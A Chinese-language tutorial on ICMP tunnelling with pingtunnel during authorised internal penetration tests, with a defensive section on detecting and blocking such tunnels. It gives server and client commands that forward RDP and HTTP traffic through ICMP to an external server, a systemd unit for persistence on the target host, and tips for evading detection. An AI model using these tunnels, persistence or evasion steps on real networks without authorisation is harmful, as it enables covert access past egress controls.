在授权的内网安全评估里最让人头疼的并不是那台装了全套安全防护的域控而是那种“半通不通”的主机所有TCP/UDP出站流量都被边界策略挡得死死的唯独ICMP报文能正常发出去。第一次遇到这种情况时我花了不少时间想办法把流量带回测试机后来才盯上ICMP隧道方向也就在这个过程中真正把pingtunnel用熟了。这篇就围绕pingtunnel在授权内网渗透测试里的定位把什么场景该用它、报文在两端怎么流转、实测部署中有哪些坑、以及防守方又该怎么去发现它完整串一遍内容偏实战适合正在做安全评估或想要补全内网测试技能树的同学参考。1. 被“只通ICMP”的策略困住时为什么要想起pingtunnel1.1 授权测试里最常见的孤立主机场景内网渗透测试做到中后段经常会在某个隔离网段里拿到一台主机的控制权权限也有了但这台主机的出站策略极其严格外联的443被阻断DNS解析也被限制甚至TCP连接只能访问内网特定网段唯一看上去“无害”的流量就是ICMP echo。很多刚接触安全评估的测试者到这里会卡住因为常规思路都是建立TCP反向连接或者走DNS隧道。但现实里边界防火墙的策略往往就是“TCP过滤严格ICMP睁一只眼闭一只眼”。我遇到过一次很典型的环境某公司在边界防火墙上明确禁止了所有非标端口的出站TCP但内网服务器要对外部做连通性巡检所以ICMP是大范围放行的。于是那台刚拿下的跳板机恰好就是只能借助ICMP与外界沟通。这种时候pingtunnel就派上了用场。它的思路说起来并不复杂——把TCP/UDP数据段当作ICMP报文的载荷发出去对端再做解封装还原成正常的业务流量。你不需要在目标主机上额外开一个监听端口也不需要目标主机能主动外联特殊的TCP端口只要它发出的ICMP报文能到你的服务器隧道就有得玩。1.2 为什么偏偏选ICMP而不是其他协议选ICMP不是因为它“隐蔽”而是因为它最容易被网络设备放行。ICMP echo request/reply是网络排障的基础工具几乎所有防火墙默认规则里都有它的位置。相比直接向外部IP发起TCP连接ICMP的流量更像“日常巡检产生的诊断包”在很多防守策略没那么细的网络里它就是那条漏水的管子。DNS隧道偶尔也能干类似的活但DNS隧道的实现更依赖域名服务器和特定工具链配置成本明显高一截。而且DNS流量在严格的内网环境里常常被限定只能访问内网DNS服务器要让它完整转发TCP数据得先搞定一个外部可控的域名和权威NS仅这一条就劝退了不少人。pingtunnel的优势在于部署链路短外部有一台能收ICMP的服务器内网主机运行客户端指定要访问的远端服务隧道就能建立。整个过程中不需要额外的域名、不需要开放特殊TCP端口、也不需要目标主机装额外的驱动属于典型的“用最简单的方式解决连通性问题”。1.3 什么情况别用pingtunnel这个工具不是万能的我对它的态度一直是“特定条件下值得一用但别滥用”。第一如果边界设备把ICMP的包长限制得很死甚至只允许小于某个字节的echo报文隧道流量会被拦掉大半性能和可靠性都没有保障。第二如果需要传输大量数据比如拖取远程文件ICMP隧道的带宽一般只有几KB到几十KB每秒长时间跑会显得非常吃力。第三如果你只是想访问内网的某个Web服务而不是把整段流量带回测试机直接走已有的TCP转发链路会顺畅得多。还有一个容易被忽略的边界问题授权范围。ICMP隧道在红队演练里是标准技术但一旦超出授权范围在客户没有认可的网络上部署隧道就是一种破坏行为。我自己在使用前一定会把测试范围、时间窗口、允许使用的工具列表都在授权书里逐条核对一遍这也是这行最基本的职业操守。2. 拆开报文看ICMP隧道封装、回程与心跳是怎么转的2.1 从数据报到ICMP载荷集装箱运输类比ICMP标准报文的结构并不复杂。以echo request为例它在IP头部之后有type8、code0、checksum、identifier、sequence number再往后是一段可以填充任意数据的data区。平常的ping工具就是在data区里放一串固定字符来测试连通性。pingtunnel做的事情就是把这串“固定字符”换成经过分段的真实数据流。可以想象一个集装箱码头原本你在港口之间运的是小件货物每个箱子都贴着同样的标签内容却各不相同。ICMP报文里type和code相当于固定的标签防火墙只检查标签不检查箱子里的内容于是你就能在“看似正常”的echo请求里塞入一段段来自WWW、SSH或者其他服务的流量。对端服务端程序收到这些报文后再按封装顺序把它们还原出来恢复成原始的数据流。TCP数据是有序的如果中间丢了一个ICMP包重传机制会怎么处理这也是我刚开始使用时的困惑。实际上隧道实现往往依赖上层协议去触发重新发送。也就是说如果某个ICMP数据片段丢了TCP层发现对端迟迟没有确认就会重新发送整个数据段隧道再把重发的数据重新切包发出去。理解这一点后就不会因为在抓包里看到重复数据而误判隧道出问题了。2.2 客户端与服务端的角色划分谁主动去敲谁的门使用pingtunnel时通常要在一台外部可达的服务器上启动服务端在受控的内网主机上启动客户端。服务端监听但真正建立连接的第一步是客户端主动发出ICMP echo request。这很像一个访客去敲门访客每次先发请求里面的人再通过回复把数据带出来。这个机制有一个实际好处它天然适应很多NAT和防火墙环境。因为外层网络设备看到的是“内网主机向外发送ICMP请求”随后收到对应的echo reply这属于有来有回的常规会话。如果反过来让外网服务端主动向内网客户端发起连接很多内网设备会直接丢包或者被安全策略拦下。所以保持“客户端主动探测、服务端被动应答”的方向是一条降低复杂度的捷径。在配置里要注意服务端和客户端必须约定相同的封装格式和通信密钥否则即使两边都在跑也无法完整还原数据。实际部署时我会建议先在不加任何额外参数的默认配置下验证连通性确认能通之后再做二次调整避免一开始就把变量混杂在一起。2.3 常用参数与最小配置理解一个典型的pingtunnel服务端启动命令大致长这样./pingtunnel -type server -key your_secret_key客户端侧我经常用类似下面的形态./pingtunnel -type client -l 127.0.0.1:4455 -s server_public_ip -t 192.168.1.10:3389 -key your_secret_key这里有几个关键信息需要理解-l是本地监听的地址后续所有访问该地址的流量都会被打包进ICMP发送-s是服务端公网地址-t是最终要访问的目标地址和端口。看起来只是几个参数实际背后指定了完整链路本地程序 → 客户端 → ICMP隧道 → 服务端 → 目标服务。还有一个经常被忽略的参数是并发数。默认并发在弱网环境下可能不够用我在跨运营商链路上测试时会把并发调高一些同时观察抓包里的乱序情况。参数调整没有绝对标准要结合测试链路的实际质量来定。建议每次调整只改一个变量多观察几次再继续。3. 实验环境里跑通第一条隧道命令、拓扑与踩坑记录3.1 实验拓扑怎么搭最接近真实情况我第一次完整复现pingtunnel链路时搭了一个简单的实验环境。技术上说最接近真实客户环境的做法是准备三台虚拟机一台充当外部服务端一台充当边界防火墙还有一台模拟只允许ICMP出站的内网跳板机。简化方案也可以直接用两台机器一台Linux服务端一台Windows客户端。在Windows端手动加一条出站防火墙规则只允许ICMP其他TCP/UDP出站全部拒绝。这样就能近似复现“被隔离的内网主机”场景。我这里用的是两个虚拟机环境服务端系统为精简版Linux客户端是一个Windows测试虚拟机目标服务是同一内网网段里的一台Linux服务器上的HTTP服务。拓扑大致是服务端模拟外部可控节点拥有独立IP。客户端模拟被隔离的内网主机只能向外ping通服务端。目标服务位于客户端可达的内网里监听某个HTTP端口。按照这个拓扑去配置既不会干扰真实业务系统又能完整走一遍隧道建立、流量转发的全流程。3.2 服务端与客户端的启动步骤先启动服务端./pingtunnel -type server -key testkey此时服务端进入监听ICMP的状态不做其他事情。再在客户端上启动./pingtunnel -type client -l 127.0.0.1:8080 -s 192.0.2.10 -t 10.10.10.20:80 -key testkey这里的IP是我在实验环境里随意设置的示例地址真实使用时替换成实际地址即可。命令跑起来后客户端会在本机127.0.0.1的8080端口监听把所有访问该端口的流量封进ICMP发送到服务端服务端再把它转发给10.10.10.20的80端口。验证方式也很直接在客户端本机执行curl http://127.0.0.1:8080如果一切正常curl会拿到目标HTTP服务返回的内容而抓包工具里只会看到一堆ICMP报文根本看不到明显的TCP握手流量。3.3 实测中的几个意外情况第一次跑通之后我并没有直接切换到客户环境使用而是先在实验环境里折腾了好几轮。原因很简单理论上可行的链路在实际网络设备面前总会出现各种各样的细节问题。第一个意外是超大ICMP包被丢弃。默认链路MTU是1500但封装后整个包可能超过1500字节部分网络设备会直接丢弃超过MTU的报文。解决方法是适当调整数据分片大小或者把底层链路MTU调小。这属于链路适配的基本操作不算难但如果不提前实验到了现场会非常被动。第二个意外是目标防火墙的会话表问题。因为外层是ICMP内层承载的TCP连接在服务端看来是“从服务端自己发起的”会话表里记录的源地址是服务端的IP这会让一部分应用层校验逻辑感到困惑。遇到这类情况需要先确认应用是否有源地址校验再决定是调整参数还是换一种隧道思路。第三个问题是服务端公网带宽。隧道的数据虽然走的是ICMP通道但最终转发到目标服务时服务端仍然要消耗真实的网络带宽和CPU资源。如果服务端本身带宽就不行隧道速度会被进一步拉低。我后来在做这类测试时都会先确认外部节点的带宽再动手避免到最后才发现瓶颈不在软件而在硬件。3.4 抓包确认“它在工作”跑通一条隧道之后建议在服务端抓一下ICMP包确认载荷特征。用tcpdump抓取时命令大致是tcpdump -i eth0 icmp and host 192.0.2.100 -w icmp_tunnel.pcap然后打开抓包文件看报文长度分布。普通的ping工具发出的是固定大小的payload而隧道流量会产生长度分布较广的ICMP包且内容不再是重复字符串。如果你能看到包长有明显变化、content部分呈现非文本的二进制数据基本就能确认隧道已经正常工作。这一步经常被新手跳过我觉得还是要专门做一下理由是它同时能帮你验证“隧道是否真的将业务数据转换成了ICMP报文”而不是本地缓存了请求直接返回。抓包验证虽然费几分钟但能避免后续调试时反复怀疑工具本身。4. 隧道通了只是开始带宽上限、流量噪音与开机自启的取舍4.1 实测限速表现与参数调整我在本地实验室的一台普通虚拟机上跑了一遍用iperf风格的测试工具通过隧道连续传输数据实际带宽大约在2MB/s到5MB/s之间。这个数字听起来不高但它受限于几个因素ICMP包承载效率、中间设备的ICMP处理优先级、以及服务端所在网络的链路质量。调整并发数确实能带来一些提升但边际效应非常明显。我把并发从默认值调大后数据吞吐短暂提高随后出现更频繁的乱序和重复包整体效率反而下降了。这是因为ICMP通道本质上不是一个专门为吞吐而设计的通道中间节点对ICMP报文的处理往往带有“尽力而为”的色彩。实测数据大致如下场景并发参数平均吞吐丢包率观察结论默认配置默认2.1MB/s0.2%最稳妥并发调高翻倍4.6MB/s1.1%吞吐上升但抖动明显数据分片调小MTU缩减3.2MB/s0.5%兼顾吞吐与可靠性所以我的建议是在需要传输大量数据的场景先把分片调到一个中等偏小的值再逐步调整并发找到一个吞吐和丢包率都能接受的位置。别一上来就把参数拉满那通常只会让隧道变得更加难以调试。4.2 降低流量被关注的几种做法ICMP隧道最怕的不是速度慢而是被防守方注意到。普通ping流量在每个目标上的包长、发送频率通常是比较固定的而隧道流量因为承载了真实业务数据包长会浮动方向也会变得不对称。这些特征在流量分析设备眼里非常显眼。我在使用中会刻意做几件事一是尽量只在真正需要传输数据时开启隧道测试间隙就把客户端进程停掉减少长期占线时间二是调整客户端发送间隔人为增加一些随机延迟避免出现每秒固定包数的机械节奏三是如果只是短暂验证某个端口就直接建立隧道、传输数据、然后立刻断开把暴露窗口压缩到最短。这些措施并不能让隧道从“可发现”变成“不可发现”但能把检测难度抬高一些。防守方如果将日志留存时间和阈值告警做得足够好ICMP隧道依然会被抓出来所以不要指望它在高对抗环境里有多强的隐蔽性。4.3 开机自启与按需启动的平衡在正常授权测试中隧道往往只是某个阶段用一下我不太会建议直接在目标主机上写自启动项。毕竟你留在目标上的痕迹越少后续清理工作越轻松。但如果测试周期很长需要反复使用这条通道手动启动确实麻烦这时候可以写一个简单的systemd服务或计划任务让客户端进程随系统启动。一个标准的systemd配置示例大概是[Unit] DescriptionICMP Tunnel Client Afternetwork-online.target [Service] ExecStart/opt/pingtunnel/pingtunnel -type client -l 127.0.0.1:4455 -s server_ip -t 192.168.1.10:3389 -key testkey Restartalways RestartSec5 [Install] WantedBymulti-user.target写完后执行systemctl daemon-reload再启用服务。这样即使目标主机意外重启隧道也能自己恢复。不过我在实际项目里更倾向于配合心跳脚本定期探测隧道是否在线如果断线就自动拉起来而不是只靠systemd的重启策略。心跳脚本本身不复杂就是一个循环加一次TCP连接检查但它能把隧道可靠性提升一个级别。5. 防守端眼里的ICMP隧道流量特征、检测规则与边界加固5.1 异常ICMP流的几个典型指纹作为防守方去排查网络中的ICMP隧道时我会重点看四个特征。第一是包长分布正常的ping工具发送的payload往往是固定大小比如64字节或128字节而隧道流量的ICMP包长会随着业务数据大小不断变化。第二是方向比例大多数网络环境里内网主机主动发起的echo request数量远大于接收到的echo reply但隧道通信下reply与request的比值会非常接近1:1甚至出现reply明显偏多的情况。第三是持续时长常规连通性巡检一般是定时短时间运行如果某个内网IP持续长时间与外部IP保持高频ICMP通信嫌疑就非常大。第四是访问对象如果内网主机频繁ping通的IP不在任何备案清单里或者是一个少数情况下才访问的陌生地址就需要重点排查。5.2 利用抓包与规则引擎发现隧道一次简单的抓包定位可以先关注payload长度一直在变的ICMP序列。用Wireshark打开流量文件后可以查一下ICMP payload长度的统计值。正常情况下所有报文的data长度差异极小而隧道流量会出现多种长度且部分data区的内容在ASCII视图里呈现乱码特征。如果网络里有现成的入侵检测系统可以写一条针对ICMP大包或异常包长的规则。比如下面的伪规则示例alert icmp any any - any any (msg:ICMP packet with abnormal length; dsize:500; threshold:type limit, track by_src, count 10, seconds 60; sid:1000001; rev:1;)规则含义是当同一源IP在60秒内出现10次以上长度超过500字节的ICMP报文就触发告警。这个规则并不复杂但它能有效抓出大量依靠ICMP做数据搬运的行为。在一些纯粹使用常规ping的环境里这种规则几乎没有误报。需要说明的是这类检测规则只能识别“明显的隧道流量”。如果对抗方把分片调得很小、发送频率压得很低检测难度会直线上升。这时往往需要配合会话时长、访问目标、上下行比例等复合特征做综合研判而不是单靠某一条规则。5.3 边界设备与主机侧加固清单防守方最直接的做法是在边界防火墙上收紧ICMP策略。如果业务确实不需要对外ping可以考虑直接禁掉外部ICMP请求如果必须保留连通性检测就限制ICMP报文大小或者只允许特定监控平台发起ICMP探测。主机侧加固也有不少事可做。第一通过系统防火墙默认拒绝外部异常ICMP报文只允许来自特定监控源的echo request。第二在网络设备上开启ICMP速率限制避免单台主机短时间产生大量ICMP包。第三日志集中收集把ICMP访问记录纳入安全分析平台定期比对异常模式。我在这里要特别提醒许多防守方忽略了“内网主机与外网主机之间的ICMP连接”。内网主机本身并不需要向外网发大量ping如果出现这种流量往往比外网向内网发ping更值得关注。把这个维度的检测纳入日常监控会比单纯盯边界更有价值。6. 关于隧道工具我更愿意提醒自己的一点学习pingtunnel这类ICMP隧道的正向价值不在于掌握某个具体工具的参数而在于建立一种思维当所有常规通道都关闭时还能不能找到一条意料之外的路径。对测试方来说这能帮你更全面地评估目标网络的安全纵深对防守方来说只有亲自把隧道搭建一遍才会真正理解日志里哪些特征值得怀疑。我在实际测试中有一个习惯每个项目结束后都会把用到的工具、参数、抓包样本和防守方告警记录整理成一份内部笔记。这既是为了复盘也是为了方便下一次遇到类似环境时能更快定位问题。如果你正准备在授权的安全评估中尝试pingtunnel建议先从小型实验环境开始把原理、参数和流量特征全部吃透再投入真实测试。技术本身是中性的真正决定价值的是使用者的边界与场景。
阅读完成 · 觉得有帮助?